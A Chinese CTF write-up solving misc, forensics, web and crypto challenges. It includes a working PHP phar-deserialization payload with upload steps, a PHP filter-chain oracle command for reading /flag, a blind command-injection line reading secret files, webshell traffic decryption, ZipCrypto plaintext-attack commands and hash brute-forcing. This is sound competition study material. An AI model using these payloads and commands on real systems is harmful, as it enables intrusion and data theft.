个人排名 141,说好了做 web 手,结果大部分时间还是在做 misc,万恶的 misc
Misc 简单算术 题目提示异或,直接把开头字符 y 与 f 异或,得到的是不可见字符,base64 编码一下得到异或的字符,将给出的每一个字符与编码后的结果异或即可得到 flag
1 2 3 4 5 6 import base64result = chr ((ord ("y" ) ^ ord ("f" ))) result_bytes = result.encode('utf-8' ) encoded = base64.b64encode(result_bytes) print (encoded)
flag 值:flag{x0r_Brute_is_easy!}
See anything in these pics? 首先识别 Aztec 码得到解压密码
解压后一张 jpg 图片,查看文件尾发现有个 png 文件
formost 分离然后修复图片宽高即可得到 flag
flag 值:flag{opium_00pium}
简单镜像提取 一个流量包,放入随波逐流发现流量中包含 zip 文件,formost 分离出 zip
得到一个 img 镜像文件,搞了半天没找到,于是再次放入随波逐流 formost 分离,得到一个 xls 文件,打开即可得到 flag
flag 值:flag{E7A10C15E26AA5750070EF756AAA1F7C}
压力大,写个脚本吧 压缩包套娃解密,每层的密码都要先 base64 解一下才是真正的密码,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import osimport zipfileimport base64def extract_zip (zip_path, password ): with zipfile.ZipFile(zip_path) as zf: zf.extractall(pwd=password.encode('utf-8' )) print (f"成功解压: {zip_path} " ) return True def main (): for i in range (99 , -1 , -1 ): zip_name = f"zip_{i} .zip" password_file = f"password_{i} .txt" with open (password_file, 'r' ) as f: encoded_password = f.read().strip() password = base64.b64decode(encoded_password).decode('utf-8' ) print (f"正在解压 {zip_name} ,使用密码: {password} " ) if not extract_zip(zip_name, password): break if __name__ == "__main__" : main()
解密之后有一个 hint.txt,内容为 PASSWORD+PASSWORD.png
也就是解压密码连起来是一张图片,写脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import osimport base64def merge_passwords (): merged_data = "" for i in range (100 ): password_file = f"password_{i} .txt" with open (password_file, 'r' ) as f: merged_data += f.read().strip() data = base64.b64decode(merged_data).decode('utf-8' ) return data if __name__ == "__main__" : data = merge_passwords() with open ("merged_passwords.txt" , 'w' ) as f: f.write(data)
将得到的 16 进制文本复制到 010 转化为图片,是一张二维码,扫码得到 flag
flag 值:flag{_PASSWORDs_is_fl@g!_}
ez_forensics(复现) 首先使用 Lovelymem 工具挂载
翻到一个 hint.txt,提示 60 = ( ) + ( ),和羊城杯一样,rot13+rot47,解码得到提示,7z 密码是从 hashdump 中得到的
不知道为啥 7z 文件是空的,使用另一个软件 R-Studio 挂载镜像,恢复 f14g.7z 文件,密码使用 hashdump 命令查到 Flu0r1n3 用户的密码,cmd5 查到明文
解压得到一个提示和一个 ini 配置文件,提示是 ssh 连接,ini 文件是 MobaXterm 的配置文件,需要用到一个项目恢复密码,项目地址如下:
1 https://github.com/HyperSine/how-does-MobaXterm-encrypt-password
ini 文件里的密码配置文件如下:
把 flag_is_here 当作主密码来显示出 root 用户密码,命令如下:
1 python MobaXtermCipher.py dec -p flag_is_here DLulatnJIPtEF/EMGfysL2F58R4dfQIbQhzwuNqL
执行命令,然后把大括号里的内容 base64 解密一下,得到 flag
flag 值:flag{you_are_a_g00d_guy}
Weevil’s Whisper webshell 流量分析,首先过滤 http 协议,发现先是上传了一个 shell.php,然后再连接 webshell 进行命令执行
右键追踪 tcp 协议,可以看到上传的 webshell,如下
分析 webshell 逻辑编写解密脚本,然后将命令执行的结果逆向解密,最后一个包解密后就是 flag
解密脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php $key = "161ebd7d" ;function xorEncryptDecrypt ($input , $key ) { $keyLength = strlen ($key ); $inputLength = strlen ($input ); $output = "" ; for ($i = 0 ; $i < $inputLength ;) { for ($j = 0 ; $j < $keyLength && $i < $inputLength ; $j ++, $i ++) { $output .= $input [$i ] ^ $key [$j ]; } } return $output ; } $response = "lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92" ;$prefix = "lFDu8RwONqmag5ex" ;$header = "45089b3446ee" ;$footer = "4e0d86dbcf92" ;$encryptedData = substr ($response , strlen ($prefix ) + strlen ($header ), -strlen ($footer ));$base64Decoded = base64_decode ($encryptedData );$decryptedData = xorEncryptDecrypt ($base64Decoded , $key );$uncompressedData = gzuncompress ($decryptedData );echo $uncompressedData ;?>
flag 值:flag{arsjxh-sjhxbr-3rdd78dfsh-3ndidjl}
NetHttP 给了一个流量包,过滤 http 协议,一眼看出是 ssti 命令执行的攻击
看他执行的命令结果,流 1 是一个 ssti 漏洞,给出了一个 SECRET_KEY
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from flask import Flask,request,render_template_string,Response,sessionapp = Flask(__name__) app.config['SECRET_KEY' ] = 'gdkfksy05lx0nv8dl' @app.route("/" ) def index (): return open (__file__).read() @app.route("/rce" ,methods=["GET" ] ) def rce (): data = request.args.get("name" ,"Guest" ) return render_template_string(f"Welcome {data} " ) if __name__ == "__main__" : app.run(host="0.0.0.0" ,port=8989 ,debug=False )
在流 13 找到了一个加密了的私钥,尝试使用 SECRET_KEY 解密私钥发现刚好能解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 -----BEGIN ENCRYPTED PRIVATE KEY----- MIIC1DBOBgkqhkiG9w0BBQ0wQTApBgkqhkiG9w0BBQwwHAQIirzza4niI8QCAggA MAwGCCqGSIb3DQIJBQAwFAYIKoZIhvcNAwcECEXSIcOIuwGaBIICgHLW3Qb39/+E 0uKiOi8yevcztF5toCOGsh6Fi23zSIwCjH8VPO1lbpFCkW9789ldbxBbSwtXwMmF kTyFjOmymL/zktmt8PyExcWOGA481/IkpCPTmKAT8+67FJEdAf9BAZVPjqpu1Lla Ohnp3JFZ8SStSUWwvjLZafi4Ucf7ajJexwCTkkvB7mF8kostYaBOsNJ1GORRdL3c s73GxvX98MTLvF1DW5xujgdcl28msB3GHTxe7sSgScKfFUyfCViivW8FCqa6lfJo Tj3JZtNlpPiOr1PXPfIWBt0wEQaF3+ovTEVu7x1r1Q3mq61GpO3s4n6kdeGg9Dkp BYErmG76JdZtOWTZ88SrD7EDkh12EOdtM0ywR1DTYk4+fjKifkhPPrIGn8Nm07PE yTAS7UG0Ut2Ut722rOBsgIZlnk2vF8qbIvKJj1JGzedMLabnafF5/L2N4wP8ZeL8 fO1Asxy0o/Hk89rl7ZI8Aocc1ZRMHKfxg/XV2bFHv2q1M1y3CI9wUrGnvk+8oX0H T/5vFtfGb4QNiy+p6aTi+UEJOau5O0t4f2kAL6L/pgmLEMulKWVMK8u+p6os0cbt KbVBmjNE/uA8SCv8E9XcL+/LWsSVInrYwJQzWbLIYx5FTRk4479taV3BGEN+hbmU RqlIK8IwsVxWc4wC+oHoLMY4RllUZ9D2rBasMt6DOLA31Jjrabciv03zJPyqXcfi DVTFu9JfT1fF7eOClQzTvIlTDVIDMPfAqR6B+/AbZDiQ2aK/54i10kohmXT2qWoT pDYPWV2JGTXICaRyP8FYu26ZTdIKVB3PovfJEXR3yex14U5T8zFVpUQnoDJfNyPG qUVmlGScmkU= -----END ENCRYPTED PRIVATE KEY-----
接下来就只剩下密文了,首先分析一下命令,如果截取的字符等于给出的字符,就会回显一个 rce,猜测 m5 文件就是密文,根据回显情况来判断出 m5 文件的内容
1 if [ $(cat /app/secret/mw/m5|base64 -w 0| awk NR==1 | cut -c 1) == 'U' ]; then echo "rce" ;fi
我的思路是:先提取出回显是 Welcome rce
的请求包,再提取请求包的参数值,接着 base64 解码,正则获取到 cut -c 命令判断出来的字符,拷打 GPT 得到脚本
这里贴一个提取并合并请求包的 ps1 脚本吧,其他操作比较简单,自行操作即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $inputFile = "NetHttP.pcapng" $outputDir = "output" $mergedFile = "merged_output.pcap" if (-not (Test-Path $outputDir )) { New-Item -ItemType Directory -Path $outputDir } $streams = tshark -r $inputFile -Y 'http contains "Welcome rce"' -T fields -e tcp.stream | Sort-Object -Uniqueforeach ($stream in $streams ) { tshark -r $inputFile -Y "tcp.stream eq $stream " -w "$outputDir \output_stream_$stream .pcap" } $outputFiles = Get-ChildItem -Path $outputDir -Filter "output_stream_*.pcap" | Sort-Object { [int]($_ -replace '^.*_(\d+)\.pcap$' , '$1' ) } if ($outputFiles .Count -gt 0) { $fileList = $outputFiles .FullName -join " " mergecap -w "$outputDir \$mergedFile" $fileList Write-Host "合并完成!结果已保存到 $outputDir \$mergedFile。" }
之后使用 tshark 提取 name 参数的值
1 tshark -r NetHttP.pcapng -Y "http.request.method == GET && http.request.uri.query" -T fields -e http.request.uri.query bas| Select-String -Pattern "name=([^&]*)" -AllMatches | ForEach-Object { $_ .Matches.Groups[1].Value } > names.txt
再写脚本正则提取即可得到 base64 编码的密文,如下
1 UzBJM2lXaHZzektiT00vT2FsS1RBMGZwbTVPNWNoVlZuWUd5S2Q1blY0ZXJBelJiVjZWNnc4Yi9VaU9mUUVjM0lqaDAwaEZqWUZVMUhheE51YjlHbmxQUy9sY2FtNW1BVGtmMnNKUzZKZ3BKbzZBU2hWUnhXRFlLS3JvamVVZUJaajVNRVBJOC80REdHR3VIRnhteDJieEFhaGREZTFjR25qVFpHV09OcE5JPQRmFrZSBGTGFnCm5vIGhlcmUK==
将base64 编码的密文解码一下,然后使用 cyberchef 进行 rsa 解密即可得到 flag
flag 值:flag{343907d2-35a3-4bfe-a5e1-5d6615157851}
音频的秘密 根据提示说 wav 隐写为 deepsound 加密,密码为弱口令,我们使用 deepsound 提取隐藏的文件,密码为 123(试了好久),deepsound2john.py 爆破不出来估计是版本问题
提取出来后还是加密的压缩包,尝试爆破未果后查看加密方式,发现压缩方式是 store,加密方式是 ZipCrypto,所以可以使用明文攻击破解压缩包,命令如下:
1 2 bkcrack.exe -C flag.zip -c flag.png -p pngheader -o 0 bkcrack.exe -C flag.zip -k 29d29517 0fa535a9 abc67696 -U 123.zip 123
解压得到一张图片,使用 Stegsolve 工具提取一下通道数据即可得到 flag
flag 值:flag{Y1_Shun_jian_Fa_ZE_Dian_Fu}
Web easy_flask 随便输入账号登陆,一眼 ssti,直接使用 fenjing 工具一把梭,执行命令得到 flag
flag 值:flag{48ad0cde8345c8b2608933ac4e85147e}
file_copy(复现) 直接用项目跑,项目地址如下:
1 https://github.com/synacktiv/php_filter_chains_oracle_exploit
项目描述如下,只要使用了列举出的这些函数,就可以在服务器不返回文件内容的情况下泄露文件内容
然后用命令跑就行了,跑太慢我就不跑了,你知道就好(
1 python filters_chain_oracle_exploit.py --target url --file '/flag' --parameter path
easy_code 进入页面是 2048 小游戏,玩了一会发现没什么信息,尝试访问 /robots.txt
,发现泄露的有文件路径
访问 /gogogo.php
,是一个套了三层的 php 绕过
第一层:浮点型转整型溢出,浮点型转整形如果溢出就会造成精度损失,666.99999999999999999 会被转成 667,从而绕过第二个和第三个过滤
第二层:一个简单的 cookie 传参,直接传入 pass=admin 即可
第三层:具体逻辑如下:
1 2 3 4 5 6 if (preg_match ("/^(?:.*(?:base|rot13|input|data|flag|file|2|5|base64|log|proc|self|env).*)$/i" , $file )) { echo "prohibited prohibited!!!!" ; } else { echo "试试read.php" ; include ($file ); }
过滤了一些输入输出流,如果绕过就进行文件包含,包含 read.php 文件,我们可以利用伪协议读文件,不过部分过滤器被限制了,使用其他过滤器绕过限制,具体过滤器可以参考这篇文章
1 https://developer.aliyun.com/article/1478688
将文章给的过滤器放到 burp 里爆破一下,按照响应包长度排序,查看响应包,得到 base64 编码的 flag
base64 解码即可得到 flag
flag 值:flag{d91ea23e927b0e2dca64624cf4c867ca}
easy_php 进入首页下载网站源码,发现是 phar 反序列化,找到一道差不多一模一样的原题
1 https://blog.csdn.net/qq_51584770/article/details/121218448
文件都一样,功能都一样,难绷,只改了两个地方
一个是 class.php 里的一个类名 C1e4r 换成了 Chunqiu,另一处是 flag 的位置,改到了根目录
修改原题 payload 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class Chunqiu { public $test ; public $str ; } class Show { public $source ; public $str ; } class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array ('source' =>'/flag' ); } } $c = new Chunqiu ();$s =new Show ();$t =new Test ();$s ->source=$s ;$s ->str['str' ]=$t ;$c ->str=$s ;echo (serialize ($c ));$phar = new Phar ("exp.phar" ); $phar ->startBuffering ();$phar ->setStub ('<?php __HALT_COMPILER(); ? >' ); $phar ->setMetadata ($c ); $phar ->addFromString ("exp.txt" , "test" ); $phar ->stopBuffering ();?>
将生成的 exp.phar 文件后缀改成 jpg 绕过 waf 检测,然后在 /upload_file.php 上传
虽然乱码了,但应该是成功了,访问 /upload/ 找到上传后的文件
在/file.php 使用 phar 协议读文件,触发反序列化,base64 解码得到 flag
flag 值:flag{a16dcb7549915546893a27a6d7927615}
Crypto 你是小哈斯? 下载题目内容得到一串 hash 列表,先把第一个放到 cmd5 网站查看是哪种 hash,可以看到是 sha1
写脚本对每一行 hash 进行单字符爆破,得到 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import hashlibcharacters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?/~`" def crack_hash (target_hash ): for char in characters: hash_value = hashlib.sha1(char.encode()).hexdigest() if hash_value == target_hash: print (f"找到匹配的字符: {char} (哈希值: {target_hash} )" ) return char result_str = "" with open ("题目内容.txt" , "r" ) as file: for line in file: target_hash = line.strip() if target_hash: char = crack_hash(target_hash) if char: result_str += char print (result_str)
最终跑出来的结果是:
1 1234567890-=qwertyuiopflag{no_is_flag}asdfghjklzxcvbnm,flag{game_cqb_isis_cxyz}.asdfghjklzxcvbnm,.qwertyuiopflag{no_is_flag}1234567890-=
flag 值:flag{game_cqb_isis_cxyz}
通往哈希的旅程 给出一串 hash ca12fd8250972ec363a16593356abb1f3cf3a16d,要求爆破 11 位手机号,写脚本爆破,运行脚本即可得到对应的手机号码,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import hashlibtarget_hash = "ca12fd8250972ec363a16593356abb1f3cf3a16d" prefix = "188" for i in range (0 , 100000000 ): phone_number = prefix + f"{i:08d} " hash_value = hashlib.sha1(phone_number.encode()).hexdigest() if hash_value == target_hash: print (f"找到匹配的手机号: {phone_number} " ) break if i % 1000000 == 0 : print (f"已尝试: {i} 次" ) else : print ("未找到匹配的手机号。" )
flag 值:flag{18876011645}
funny_rsa 本题推导部分就是简单的高中数学,题目给了四个运算结果
利用 funny2 和 funny3 可以推出 n
funny1 可以近似推导出 p 和 q,random_offset 在 [-1025, 1025] 之间,直接爆破,然后解方程 x^2 - (p+q)x + p*q = 0
得到 p 和 q
然后就是正常的解rsa步骤了,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import mathfrom Crypto.Util.number import bytes_to_long, long_to_bytes, inversefunny1 = int ("-17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374" ) funny2 = int ("23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011" ) funny3 = int ("419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024" ) funny4 = int ("13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479" ) n = (funny3 + 1025 ) // funny2 found = False for offset in range (-1025 , 1026 ): p_plus_q = funny1 + n - offset discriminant = p_plus_q**2 - 4 * n if discriminant < 0 : continue sqrt_discriminant = math.isqrt(discriminant) p = (p_plus_q + sqrt_discriminant) // 2 q = (p_plus_q - sqrt_discriminant) // 2 if p * q == n: found = True break phi_n = (p - 1 ) * (q - 1 ) e = 65537 d = inverse(e, phi_n) hint_long = pow (funny4, d, n) m_long = funny2 // hint_long print (long_to_bytes(hint_long))print (long_to_bytes(m_long))
但是运行得到的却是一个假 flag,hint 说玄机就在数字里面
1 2 b'Of course, So good, and enjoy the funny number, it is true flag' b'fake:flag{5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861}'
尝试把假 flag 里的内容长整数转字符,即可得到真正的 flag
1 2 3 from Crypto.Util.number import long_to_bytesflag = 5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861 print (long_to_bytes(flag))
flag 值:flag{aB3-CdE7_FgH9-iJkLmNoPqRsT-UvWxYz1234567890}